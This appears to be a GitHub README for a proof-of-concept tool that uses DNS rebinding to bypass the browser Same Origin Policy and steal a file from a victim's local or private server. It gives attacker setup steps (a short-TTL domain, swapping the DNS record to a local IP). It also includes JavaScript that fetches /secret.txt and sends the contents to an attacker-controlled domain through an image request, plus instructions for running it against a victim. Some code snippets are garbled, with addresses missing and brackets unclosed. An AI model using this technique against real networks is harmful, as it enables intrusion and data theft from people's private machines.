Skip to content
Switch branches/tags

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time

Bypass Same Origin Policy - BY-SOP

Bypass Same Origin Policy with DNS-rebinding to retrieve local server file.

EDIT 30/01/2019: Another writeup from a CTF challenge thanks to @limbernie

EDIT 22/01/2018: Another example from @taviso, RCE on Blizzard games using DNS-Rebinding.

EDIT 15/01/2018: @taviso open a pull a request to fix a security issue (Remote Code Execution on Transmission) using this vulnerability. I think it's cool to have an real example on how hacker can use this attack :)

Goal : retrieve a file on a private server This normaly should by impossible due to Same Origin Policy but we will use DNS-rebinding attack to bypass the SOP and retrieve the file.

This attack can be used to breach a private network by causing the victim's web browser to access machines at private IP addresses and returning the results to the attacker.

Important : use the same port, is different from, same with https (check this example)


  • visit the malicious page for at least ~2-3 minutes (playing flash game, fill a form etc)


  • attacker setup a domain with the lowest TTL (60 second, 120 for CloudFlare )

  • one the victim visit the malicious page, he changes the dns IP of the domain with the local ip targeted

    • before 59 IN A
    • after 59 IN A

    Since the TTL is very short, the attacker will make another request to retrieve the private file AFTER the TTL time is up (> 59), the request has to do an additional DNS request

    setTimeout(function SOP_bypass() {
        $.get('/secret.txt', function(data) {
            // action with data
    }, 180000); //3min to be sure

    However, by changing the DNS record in the meantime, the domain will resolve to the victim page with the local IP. There is no more Same Origin Policy and we can retrieve the content of the file.

  • the content is send to another domain to save the data

    setTimeout(function SOP_bypass() {
        $.get('/secret.txt', function(data) {
            // action with data
            var image = new Image();
    }, 180000); //3min to be sure

    The file save.php don't need to allow Cross-origin resource sharing (CORS) from to accept the request. In fact, img are incompatible with SOP. But if you really want an execption, in PHP it can be done by adding this line header("Access-Control-Allow-Origin: *");

  • finally we have:

        cat save.txt


  • Use the file malicious.html, the file bypass_sop.html is the same but more for academic comprehension.

  • Add a subdomain with TTL 59 (120 in Cloudflare)

  • Add another subdomain and allow CORS from your domain if you use GET or just use image.src to bypass the restriction CORS

  • Victim

    • launch a local server http-server -p 80 Dir
    • launch the browser
    • go on
  • Change the DNS ip

  • Wait

  • Get the result into the other subdomain you setup





licence MIT



πŸ΄β€β˜ οΈ Bypass Same Origin Policy with DNS-rebinding to retrieve local server files πŸ΄β€β˜ οΈ







No releases published


No packages published